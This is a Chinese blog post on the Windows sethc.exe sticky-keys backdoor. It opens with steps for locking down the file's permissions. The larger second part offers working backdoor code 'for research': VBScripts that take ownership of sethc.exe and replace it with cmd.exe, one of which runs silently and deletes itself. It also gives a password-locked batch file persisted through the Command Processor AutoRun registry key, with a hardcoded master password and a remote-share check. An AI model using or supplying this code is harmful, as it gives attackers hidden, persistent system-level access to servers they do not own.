关于sethc.exe

打开你的windows2003服务器3389远程管理客户端,然后连续按5下shift键。看看有什么东西!直接调用的粘置窗口的程序sethc.exe,很多黑客会CMD.exe文件来替换此文件的方式给自己留后门,一般该文件都具有users组的权限,现在的IDC在机器原始配置的时候都很少注意权限分配,再加上一些管理员对这些很陌生,所以很多人忽视了这个地方。

解决办法:
打开你的system32目录,寻找sethc.exe文件,默认情况,管理员是不能编辑此文件的,因为默认权限是继承不允许的。所以,在改文件上打开右键,选择“属性”,选择“安全”选项卡,再点击“高级”按钮,把“从父项继承……”前面的对勾去掉,然后确定一下。接下来有两种方式:一是删除所有组的权限,就是大家都用不了该文件,另一种是添加一个everyone组,然后设置该组的所有权限都是“拒绝”,效果是一样的,反正就是大家都玩不了。
还有另外一个位置/%systemroot%/system32/dllcache目录下,也使用同样的方法设置sethc.exe.

这样你的服务器就至少在这个文件生出现什么问题了。

下面给三段非常BT的sethc.exe后门代码,只做研究啊
Dim obj, success
Set obj = CreateObject(”WScript.Shell”)
success = obj.run(”cmd /c takeown /f %SystemRoot%\system32\sethc.exe”, 0, True)
success = obj.run(”cmd /c echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F”, 0, True)
success = obj.run(”cmd /c copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe”, 0, True)
success = obj.run(”cmd /c copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe”, 0, True)
success = obj.run(”cmd /c del %SystemRoot%\system32\sethc.exe”, 0, True)
success = obj.run(”cmd /c ren %SystemRoot%\system32\acmd.exe sethc.exe”, 0, True)

自动应答,自动删除
On Error Resume Next
Dim obj, success
Set obj = CreateObject(”WScript.Shell”)
success = obj.run(”cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe”, 0, True)
CreateObject(”Scripting.FileSystemObject”).DeleteFile(WScript.ScriptName)

为了后门的不让大家都进去玩,所以加个后门锁的功能:
allyesno注:可以采用cmd 锁 来进行cmdshell的密码验证(关于什么是cmd锁,混混将在以后的文章中给大家提出)
用下面的后门锁的方法是 把代码保存为bdlock.bat
然后修改注册表位置即可
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]
“AutoRun”=”bdlock.bat”
@Echo Off
title 后门登陆验证
color a
cls
set temprandom=%RANDOM%
echo 请输入验证码:%temprandom%
set/p check=
if “%check%”==”%temprandom%%temprandom%” goto passcheck
if “%check%”==”%temprandom%” (
rem 后门服务器验证
rem 如果没有后门验证服务器请rem注释掉下一行代码
if exist \192.168.8.8\backdoor$\pass goto passcheck
)
echo 验证失败
pause
exit
:passcheck
echo 验证成功
If “%passcmdlock%”==”http://blog.csdn.net/freexploit/” Goto endx
Set passcmdlock=http://blog.csdn.net/freexploit/
:allyesno
Set Errorlevel=>nul
Echo 请输入验证密码?
Set password=allyesno Is a pig>nul
Set/p password=
rem 万能密码
if “%password%”==”allyesno is a sb” goto endx
If %time:~1,1%==0 Set timechange=a
If %time:~1,1%==1 Set timechange=b
If %time:~1,1%==2 Set timechange=c
If %time:~1,1%==3 Set timechange=d
If %time:~1,1%==4 Set timechange=e
If %time:~1,1%==5 Set timechange=f
If %time:~1,1%==6 Set timechange=g
If %time:~1,1%==7 Set timechange=h
If %time:~1,1%==8 Set timechange=i
If %time:~1,1%==9 Set timechange=j
set/a sum=%time:~1,1%+%time:~1,1%
Set password|findstr “^password=%timechange%%time:~1,1%%date:~8,2%%sum%$”>nul
If “%errorlevel%”==”0″ cls&Echo 口令正确&Goto End
Echo 请联系客服咨询正确密码!&Goto allyesno
:End
Set password=>nul
Set Errorlevel=>nul
Echo
:endx

知道了以上的代码,我相信你已经对此后门的防御得心应手了。在这里要向各位黑客朋友致谢并道歉

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值